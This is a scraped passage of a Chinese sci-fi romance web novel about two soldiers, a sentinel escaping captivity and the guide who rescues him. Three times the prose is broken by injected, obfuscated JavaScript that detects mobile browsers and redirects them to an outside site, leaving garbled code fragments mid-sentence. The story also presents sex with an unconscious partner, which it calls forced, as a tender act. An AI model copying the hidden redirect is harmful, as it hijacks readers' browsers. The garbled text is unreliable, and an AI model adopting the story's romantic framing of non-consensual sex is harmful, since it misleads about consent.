巡逻队很快就闹了起来,傅言在暗处观察,引爆了从那几个人身上搜出来的炸弹,扔了出去。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|13579371|143093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“砰——”
天台港口上彻底乱了,开始搜查起傅言的下落。
“给我找!”说话的男人面色阴狠,“我到要看看是哪只小老鼠坏我们的好事。”
“肖队长,该不会是你们放进来的吧?”男人转头怀疑地看着另一队的领头。
被叫做肖队长的男人拧了拧眉,“还是管好你们的人吧。”眼神往好在蹭的人身上一瞥,“莫不是温柔乡里出不来,坏了大事。”
两边的人似乎有隔阂。
傅言默默听着,换了一身从巡逻队里扒下来的外套。
趁乱上了一架飞艇,跟上了运输队。
——
“到底要关我到什么时候?”靳年看着再次进来的男人,有些不明白这些人的行为。
男人没说什么,只是掀开靳年的胳膊,拿出一只试剂,吸入针筒。
靳年警惕问道,“你要给我注射什么?”
“N912,您并不陌生了。”男人沉着脸,冷酷回应。
就在针管即将接触靳年的皮肤时,靳年捏住男人的手腕。
“你怎么?”
男人惊愕地看着落在地上的绳子,看来长官的担忧并没有错,短短几个小时,即是已经注射N912,精神力溃散,靳年的体能就足够他们喝一壶了。
这也是他为什么会来二次注射。
靳年捏着对方的手腕用力一掰,毫不怀疑这力道能把他的手腕拧断,他咬着牙,冷冷问道,“我在等蓄力,你们在等什么呢?”
紧接着另一只扼住男人的脖子,男人吃痛,但好歹也还是黑暗哨兵,踢腿袭击靳年的腰腹。
靳年放开人,闪身一躲,抿了抿唇,眼睛里闪过一丝赞赏,“身手不错。”
“咳咳。”男人捂着脖子咳嗽,哑着嗓子回击,“多谢夸奖。”
握拳扫腿,靳年一一格挡,胳膊紧紧锁住人的喉咙,瞬间把人按压在地上。
“本来想看看你们究竟想搞什么鬼,但似乎有些让我失望了。”
靳年胳膊用力,男人脸上冲血,血红的眼睛充血,靳年脚背勾住落在地上的针管,用力一踢,左手接住,针尖抵住男人的下巴。
“告诉我,坠落星空在哪儿?”
“我……不会……告诉你的。”男人咬着牙艰难回道。
靳年针尖又往里进了进,脸上始终没什么表情,“我很同情你的遭遇,但是为自己谋划利益,应该不是你们这种做法。”
“我现在只要‘坠落星空’,可以放你一命。”
男人也很硬气,“我的命算什么?那是无数个黑暗哨兵的命,技不如人,我认栽,你杀了我。”
男人的头被迫抬起,靳年目光如炬,神情冷硬,“你以为治疗精神海就能挽救黑暗哨兵的命运?不过是快消品变成长期消耗品,有什么区别?长痛和短痛的区别?你会怎么选?”
“联邦有什么错误,自然会通过议会的决议纠正,你也是军人,别被人当枪使。”
男人闭上眼,视死如归,不愿意交流。
Cao!靳年手刀往男人脖子后面一拍,男人脖子上很快铁青一片。
扔下男人软倒的身体,靳年摇摇晃晃站了起来。
其实这已经到了他的极限,身上飞艇爆炸的伤还没好,血液浸湿的衣服包裹住身体,已经干涸。
精神海因为注射了N912,如同飓风过境,除了神经痛之外,还带有一种难以言说的无力感。
靳年站稳身体,踉跄两步打开铁门。
25. 精神结合
逃出来之后,靳年大吃一惊,他被关押的地方更像是武器库。
重型离子炮和各种型号的能量枪,还有机甲。
靳年在一排崭新的作战服前面站定,找了合适的尺码,忍着身体的疼痛脱下自己身上已经破烂的作战服,拿了一件新的换上。
换好衣服,才开始挑选趁手的武器。
越是装备越是心惊,这些装备比有些前线军队都用的好。
彻底走出武器库,靳年发现自己所在的地方更像是军事训练基地。
这群人绝对不是什么星盗那么简单,应该是早有预谋,或者是有人私自在这里,进行反联邦的行为。
“滴——滴——”
他还来不及多想,走廊就立刻响起了警报声,乃至于整个基地都被警报覆盖。
应该是那个男人醒了。
玛德!
靳年咬牙,早知道应该更狠一点,多余的怜悯果然会只会害了自己。
当务之急是找到飞艇,只有找到飞艇才能离开这里,至于“坠落星空”,需要从长计议。
打定主意,靳年闪身躲过几波巡逻的人,开始寻找飞艇停泊点。
“你们,去前面,二小队左边,另外一支去接运输队,然后其余人和我去停靠点。”
整齐划一的队伍,领头的人同样是黑暗哨兵
靳年轻巧地往旁边一躲。
运输队?
靳年有了想法,与其当守株待兔的那只兔子,还不如另辟蹊径,混入运输队,说不定还能知道“坠落星空”的下落。
不过在此之前,应该给他们送一份大礼。
靳年再次回到刚才的武器库,用里面的东西,做了一个简易的定时装置,随身带着遥控器。
“什么人?”
即使再小心,靳年的动作还是被人察觉,迅速闪到旁边的障碍物后面躲着。
“哒哒哒——”
“哒哒哒——”
脚步声逼近,透过缝隙,靳年见到一个男人手持武器靠近。
“砰——”
靳年身前的障碍物瞬间被激光弹打中,四分五裂。
“砰砰砰——”
男人显然也被突然出现的人影吓了一跳,连开好几枪,靳年往地上一滚,躲过对方的攻击,男人只能看见一道残影猛地袭来。
“砰——”
靳年一拳砍在男人脖颈处,男人往后踉跄几步,继续朝着靳年射击。
靳年闪身一躲,但还是慢了一步,被擦中手臂,往后一跳,飞身跳跃,一脚踢中男人的手腕。
紧接着拔出腿上的激光枪,连续射击,击中对方的膝盖,紧接着一脚踹开男人。
在男人反应不及之际,闪身开溜。
“站住!”
“嗖嗖——”
身后追上来的人变多,靳年躲过两枪攻击,按下手中的遥控器。
“砰——”
巨大的蘑菇云在武器库方向炸开,大地为之一震。
“快!武器库!”男人大吼,对靳年的攻击丝毫不减。
靳年躲过一枪,转身,眼睛微眯,对着朝他射击的人勾唇一笑,左手摊开,赫然是遥控器,右手轻轻按下遥控器的按钮。
男人瞳孔微缩,才看清靳年刚才所过之处闪着细碎的光。
“躲开。”
“砰砰——”
微型炸弹瞬间爆炸,地面扬起大量的灰尘。
“咳咳。”
再抬眼,哪里还有靳年的身影。
——
黑洞的跃迁速度就是快,傅言只觉得一阵失重感,重新站稳之后就是另外一个地方。
“砰——”
刚刚站定,脚下震动,傅言脚下一个踉跄。
“还愣着干什么?过来帮忙。”另外一个从运输艇下来的人见傅言还在发愣,呵斥道,“之前接到通知,有人袭击了基地,现在大部分人都去了武器库,我们放下东西之后就去支援。”
“明白。”傅言点头,接过男人扔过来的激光枪。
男人在傅言俊美的面貌上扫过,皱了皱眉,“我以前怎么没见过你?”
傅言愣了一下,快速反应,恭敬地呵呵笑了两下,“新来的。”
“嗯。”男人不疑有他,将作战服递给傅言,拍了拍他的肩膀,“好好干。”
率先扛着激光枪走出了运输站。
“别动。”刚走出几步,傅言腰后就被一个硬/物抵住。
男人声音嘶哑,“扔下枪。”
傅言闻言照做,扔掉了手里的激光枪。
“转过身。”
傅言眼睛微眯,遵照了男人的命令,转身的瞬间出掌。
看清来人之后,瞳孔微缩,瞬间收回掌势,扭了一下手腕。
“是你?”靳年显然也认出了人,惊愕地睁大了眼睛,脑子闪过乱七八糟的思绪,一瞬间似乎明白了什么,但来不及细想,身体就是一软,一头栽进对方怀里。
已经到极限了。
飞艇爆炸,N912精神药剂,缠斗。
几乎把他整个人耗尽,就算再强悍的哨兵,如今也是强弩之末。
“年年!”傅言瞳孔震颤,稳稳接住人的身体,心口狂跳,惊慌到手足无措。
带着人上了运输艇,没有通过黑洞,而是驶向星际。
确认安全之后,傅言开启自动驾驶。
“已为您开启自动驾驶,目的地银耀星……”
捞起已经没有了意识到人,擦了擦靳年额头的汗,此时怀里的人脸色苍白地不像正常人,似乎是一件快要碎掉的瓷器。
“年年。”傅言轻声唤道,上挑的眼尾彻底垂下,唇角蠕动,眼底藏着写惊慌,“醒醒。”
“年年……醒醒……”
迷糊当中,靳年似乎听到了一个熟悉的声音,猛地睁开眼,眼前是一张放大版的俊脸。
“你怎么在这里?”靳年皱眉。
“睡傻了?这里是我家我不在这里还能在哪儿?”
傅言眯眼一笑,轻轻怕了拍靳年的额头。
不对……
靳年皱眉,环顾四周,果然是熟悉的家具,窗台的小仙人掌在阳光下舒展着尖刺。
应该……
见人发呆,傅言揉了揉靳年的脑袋,“想什么呢?”
靳年就像是被踩了尾巴的猫,一把捂住自己的头,三分嗔怒,“我说了不要随便摸我的头。”
眼神凶巴巴的靳年在傅言眼里可没有一点威胁,反而觉得对方这种色厉内荏,强装冷酷的样子有些可爱。
傅言勾了勾嘴角,伸出恶魔之爪按住人的手腕,下巴磕在对方脑袋上,不停地蹭,直到把对方本就凌乱的头发蹭的更加乱才收手。
等两人反应过来的时候,靳年已经被傅言抱着禁锢在怀里。
“砰砰砰——”
彼此的心跳声竟然意外地重合在一起。
一垂眸,看见怀里人通红的耳朵和脖颈,傅言的呼吸重了几分。
就在靳年觉得时间格外漫长焦灼的时候,傅言只是轻轻在人的额头落下一个吻,然后揉了揉人的头发。
这一动作彻底惹恼了人,狠狠瞪了他一眼。
“说了别摸我头!”
傅言眼睛眯了眯,唇角挂着温和的笑意,在人耳朵上捏了捏,“意思是可以随便亲?”
“我没说。”靳年扭头抱着胳膊,从床上下来,又被人拦着腰抱住。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|13579372|143093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
傅言声音里带着些疲惫,“让我抱抱。”
“我明天又要走了,让我多充充电,充饱了电打异兽才有力气。”
靳年才不听对方胡诌呢,但却没再动。
等傅言抱够了,才把人放开,“你休息吧,我还得准备准备。”
背后的体温骤然离开,靳年心中一慌,脑子里只有一个念头,那就是要阻止傅言,不然……
不然什么?
靳年突然愣了一瞬,但还是快速拉住傅言的手腕,想也没想就脱口而出,“别走!”
可是这一次傅言再没有展现他惯有的温和包容。
重重甩开了他的手。
靳年突然一阵恐慌,连忙抱住人的腰,再次道,“别走。”
傅言看着他无理取闹的行为,轻轻叹了一口气,捧着人的脸,无奈笑道,“不走不行啊……”
“别走。”靳年还是固执地抱着人的腰,这次的的力道是刚才的十倍,声音也染上了惊恐。
“唉……”傅言轻叹一声,拍了拍人的的肩膀。
靳年眼前的景象开始扭曲,他无措地眨了眨眼,哪里还有傅言的景象?
黑暗,漫无边际的黑暗。
浓郁的黑让靳年的心狠狠紧了紧。
黑暗中似乎伸出无数双手将他往深渊中拉。
靳年拍开他胳膊上的手,紧接着腿上又被拉住。
他的挣扎在这些手里丝毫不起作用。
“唔……”
反抗无果,黑暗将他的面容覆盖,渐渐往上,只露出一双通红的眼睛。
靳年突然升起一种无力感。
就这样吧……
也累了……
无所谓了。
眼睑失去了支撑的力气,渐渐阖上。
“靳年……年年……”
有人叫他?
谁啊?怎么这么聒噪?
靳年皱眉,猛地睁开眼睛,但眼前只有黑暗,什么都看不清。
“……我们结合吧。”
结合?什么结合?
看着怀里的人因为他的话皱了皱,傅言像是突然找回了自己的呼吸。
紧紧搂着人,在人额角轻轻一吻,眼睛里的水光滴落在人的额头,形成了一个小小的水坑。
傅言的声音很轻,“就知道你不愿意……”
“不愿意就起来揍我啊……”
无知无觉的人,仿佛刚才的皱眉只是错觉。
傅言在人眼上吻了吻,声音轻柔,但是手上的力道似乎要把这个人揉进自己的骨头里,“你要是不揍我,我可要脱你衣服了?”
说着,手指往下解开了靳年的作战服。
你敢!无耻之徒!住手!
靳年呐喊。
但身体却丝毫不受意识的控制。
混蛋!混蛋!混蛋!
感受到自己身体被摆/弄成各种姿/势,身上到处都是细细密密的湿润的吻。
靳年恼羞成怒,意志力突然无比强大。
“唰——”
眼睛,睁开了。
“唔……”
他还来不及做些什么,就被身/下的动/作打乱了呼吸,沉入了濡湿的温床。
“你终于醒了啊……”
傅言明明在笑,却有水珠落在靳年脸上,美人落泪,彻底搅乱了他的思绪,就连心口也似乎泛起了疼痛。
傅言低头,额头贴着身/下人的额头,精神力丝源源不断地涌入,被黑暗污染的精神海渐渐亮堂起来。
黑暗中的那只黑豹,被森蚺死死缠住。靳年只觉得耳后发烫,一枚红色的印记似有若无地浮现出来。
而这些变故,沉浸在某种情绪之中的傅言并没有注意到。
26. 晴天霹雳
靳年觉得自己似乎被暖流包裹着,全身懒洋洋的,长久以来那种挥之不去,让人痛不欲生的疼痛不在,就连精神海都前所未有的舒畅。
精神图景不再是恐怖幽深的黑暗,而是一片祥和,沙漠里的小木屋里,黑豹被森蚺紧紧缠着,惫懒地趴着,舒适地舔了舔爪子,森蚺将黑豹圈了起来,庞大的身躯密不透风,脑袋趴在黑豹耳朵中间,也打了一个哈欠。
太过于舒适,以至于靳年忘记时间。
傅言看着怀里的人睫毛颤了颤,知道这是对方快要醒了,一双眼睛一眨不眨盯着瞳孔里闪烁着野兽捕猎时才有的光,似乎要把人吃进肚子里。
目光下移,不小心撞上人的脖子,锁骨,胸膛。
斑斑点点,几乎没有一块好肉,被人啃了又啃。
傅言脸色一红,默默拉上披在人身上的衣服,将所有犯罪证据都遮掩起来,欲盖弥彰。
靳年睁开眼的时候还有些懵,呆呆的,没有醒神,缓了好一阵瞳孔才恢复作用,紧接着沉睡的知觉也被唤醒,身体像是被车轮碾压过一般,酸痛得不像话。
特别是下半身,他快要感知不到下半身的存在了。和身体上的小状况相比,精神海就要轻松太多了,长久紧绷的神经终于得到喘息。
“教官,你醒了?”
靳年的感知异常迟钝,这么久竟然都没有发现还有另外一个人,听到声音猛地扭头,对上一双上挑多情的眸子。
意识骤然回笼,一切都清晰起来,脑子里闪过众多香/艳的场面,靳年一瞬间脸色像是打翻了颜料瓶。越看对方这张脸,越是不爽,猛地揪起人的领子,沙包大的拳头,冲着这张人神共愤的俊脸就去了。
“混蛋!”
靳年翻身将人压住,揪着人领子手力道加重,嗓子里嘶吼,但出口却干涩地很,似乎咬牙切齿,似乎哽咽,“混蛋……”
傅言轻托着人的腰,脸上的笑僵硬一瞬,右手几乎要落在人的脑袋上,最终却也只是克制的捏紧了拳头放在身侧,扭头移开视线,轻咳两声,“教官,您还是穿上衣服吧。”
傅言喃喃着,“不然我也不知道会干出些什么来……”
“滚!”
靳年拢好身上的衣服,眼角抽搐,厉声喝道,“滚出去!”
“我去找点吃的。”傅言识相地没有去挑战靳年的怒气值零界点,不过更多的是不知道该如何面对。毕竟在靳年眼里他只是一个和前夫长得很像的学生,昨晚是他不顾对方的意愿,强行……
不过年年哭的样子还和过去一样。
傅言脑子里突然闪过一些画面,理了理领口,解开两颗口子,心想这艘飞艇的制冷设备真不怎么样。
也不知道靳年会不会恨他,虽然他这么做的目的是好的。
傅言离开后,靳年坐在地上,猛地捂住通红的脸,内心呐喊,怎么会变成这样?
他真的……是傅言……
竟然活着,为什么以前不回来?这一次回来是为了什么?因为他吗?因为同情?还是因为别的什么不可告人的秘密?
他愿意和我坦白吗?
想到刚才人撇过去的头,以及如同划清界限一般的“教官”,靳年揉了一把脸,苦笑一声。
对方的向导基础知识还是这么差劲。
作为战斗系向导的傅言,在对哨兵进行疏导这方面,尤其的笨拙,不过在刚开始相处那段时间,靳年是没有发现的。
毕竟那个时候的他也是哨兵菜鸟,自然会把年长者的话奉为圭臬。
以为精神疏导就是要皮肤接触才能完成,后来还无意间看到傅言竟然在网上发帖求问才知道,对方其实什么也不懂,还傻乎乎地被人骗了。
从来以后,靳年也是看了很多关于向导哨兵的书,才明□□神疏导,只是单纯的精神力丝进入哨兵的精神图景,根本不需要进行身体接触。
只有结合的向导哨兵才会身体接触,或者激发结合热,进行更亲密的行为,届时精神力交融,留下标记。
直到下一次的精神力交融,会再次唤醒标记,向导和哨兵也会心意相通,感知到对方的感受。不过心意相通这一点,靳年没怎么体验过,不知道真假。
他摸了摸自己耳后,那里似乎还残留着灼烧感,隐隐发烫。
之前只是猜测,直到标记显现的时候,他才真的确认:傅言他回来了。
其实如果不是精神海受到污染,精神力受损,标记难以感知,靳年或许早在对方出现的那一刻,就能认出对方。
傅言拿着营养液回来的时候,靳年已经穿戴整齐,一脸肃穆,眉头始终得不到舒展,领口的扣子扣到最上面一颗。谁能想到如此禁欲冷硬的外表下,竟然藏着满身的痕迹呢。
见到来人,靳年扭过头来,审视着傅言,眉头皱得更紧了,也就是这轻微的动作,一点红痕隐约从领子里透了出来。
傅言的眸子沉了沉,心里竟然有些雀跃,轻咳两声,走近了些,将营养液递给对方,“只找到这些。”
靳年接过,一饮而尽,审视的目光始终没有停过,紧接着竟突然毫无预兆地轻笑出声,“呵。”
好啊,就看看你究竟要干什么。
靳年手里的玻璃管“啪嗒”一声碎了。
他勾着嘴角低骂一声,“不太中用。”
说着眼睛往傅言身下瞥了瞥。
傅言嘴角抽了抽,是错觉吗?是错觉吧?总感觉对方在内涵什么?
他摇摇头,微微侧身。
年年怎么可能做那种事呢?肯定是因为昨天消耗太大了,没有吃饱。
“我这里还有。”傅言说着再递给对方一剂营养液。
“谢谢。”这次靳年接过,还好好地道谢。
营养液喝完,靳年想起正事,“你怎么会在这里?”
“教官现在才问会不会晚了?”傅言走到驾驶操控台,看了眼目前的进程,勾着唇角回应道,“难道不是该问问我们现在去哪儿吗?”
靳年摇头,没有接茬,而是继续问道,“谁让你来的?”
不说这事儿还好,说起这事,傅言后怕之后就是愤怒,忍不住呛声,“我倒是想问问教官,这明明是我们两个的行动任务,怎么就自己先跑了,然后还失踪!失踪就算了!还……”
差点死掉!
傅言一顿,咽下这句话,唇角被他抿得平直,目光深沉,继续道,“你就是这样任性妄为的?你有几条命够你这样挥霍的?难道你就真的不怕死吗?”
如果你死了我怎么办?
这句话梗在傅言的喉咙里,不上不下,他咬住嘴唇,扭过头去,试图掩饰眼里的痛楚。
可是这样的话却几乎也将靳年点燃,他胸口剧烈起伏,心口闷闷地痛,几乎要不可遏制地怒吼。
那你呢?你有几条命?
那么轻易的赴死,就没有任何留恋吗?
你可以做的事情,我就不可以吗?
但最终靳年还是哽了哽,抻着脖子,挺直了后背,扭过头,“和你无关。”
傅言倒是真的气笑了,“是啊,和我有什么关系,我不过就是一个新生,哪里入得了上将的眼?”
靳年没有说话,两个人就这么僵持着。
傅言目光落在前面的控制台上,就是不回头。视线和脑子已经飘忽了。
如果靳年真的死了……
傅言发现自己想象不出那样的生活。倒是靳年,在他死后,切切实实过了五年。
那这五年究竟是怎么过的呢?精神海的污染那么严重,他真的有考虑过自己的身体吗?有多少次死里逃生?有多少次不顾性命?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|13579373|143093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
是不是……
觉得……
死了才好?
傅言“砰”一声锤了控制台一拳,肩膀也塌了下去,半响,只听见他艰涩道,“抱歉。”
细听似乎还带着些哽咽。
心口的钝痛让靳年几乎分辨不清了,这似乎并不是他的情绪,同样是沙哑的嗓子,“我接受你的道歉,我们谈谈。”
“好。”
两个人总算心平气和地坐了下来,靳年先开口,不是问句,而是肯定,“是文森特让你来的。”
“是元帅的命令没错。”傅言点头,一直沉着眉,情绪不是太高,巧妙的从对方的语气里,意识到了事情的严重性。
“你失踪了一周,坐标也消失了,元帅让我来找你。我在银耀星发现了你的飞船,然后通过黑洞跃迁找到了这里……”
傅言将自己在银耀星看到的一五一十说了出来,低头思索着,双手不自觉开始食指敲击,这是他的一些小动作,靳年将这些看在眼里,暗叹自己的迟钝。
但毕竟谁会想到死而复生呢?而且还年轻了这么多。
或许是目光太灼热 ,几乎要把任的脸烧出一个洞。
傅言感受到对方一直落在自己脸上的视线,轻轻挑眉,“怎么?教官是对我这张脸情根深种吗?”
意识到自己失态,靳年扭头,没有回他这句话。
而是正色说道,“我被关的地方很像一个军事训练基地,里面的各种重型武器装备都有,配备齐全,而且大部分都是黑暗哨兵,对于‘坠落星空’他们显然已经蓄谋已久,应该在更早的时候就知道特殊物质的事情了。”
“他们的身手,也很像联邦军人。至于是哪个军团出来的,还需要进一步验证。”
傅言接话,“话说,我在银耀星还见识了一种让人变成哨兵的精神药剂,他们的量子兽很像缝合怪。”
靳年皱眉,事情很大,而且很麻烦,“那么X216星很可能是某些人蓄养私兵的地方,是从什么时候开始的呢?”
“文森特为什么要杀你?”靳年突然抬头,望向傅言,似乎问得别有深意。
傅言轻勾了勾唇角,眸子暗了暗,“谁知道呢。”
毕竟从未想过,这个亲密的副官会背叛啊……
傅言反问,“那文森特……元帅,为什么要杀教官呢?”
差点脱口而出直呼其名,好在傅言忍住了。也不是他要藏着掖着,就是因为昨晚的事情,他莫名有些心虚,下意识选择。
眼睛不受控制地落在人的颈侧,痕迹又被领子盖住了,搞得傅言很想上手把对方的领口拉开,手指无意识地捏了捏。
“是啊……为什么呢?”靳年没有错过对方一直看向自己脖子的眼神,眼睛眯了眯,似乎松一口气般解开一颗扣子,大大方方露出自己修长的脖颈,将人上下起伏的喉结看在眼里。
靳年拖长了调子,接着勾了勾唇,带着戏谑地笑意,爆出了一个炸弹。
“可能因为他曾经追求过我,想要我成为他的哨兵,但是被我拒绝了,恼羞成怒了吧。”
咕噜……
什么?
傅言呆滞地眨了眨眼睛,没太反应过来。
人说完,拍拍屁股起身,徒留傅言风中凌乱。
“哦,对了。”靳年走了两步,停下,转身给人理了理衣襟,解开对方两颗扣子,眼睛弯了弯,傅言脖子上的痕迹也不遑多让啊,靳年笑得更欢了,又是一个炸弹,“听说是我那死去前夫的嘱托。”
咕噜……:
谁?!
傅言瞳孔紧缩。
扔下一对王炸,靳年施施然离去。
“砰——”
“cao!”
听到背后的声音,靳年的步子一顿,接着走得更加轻快了。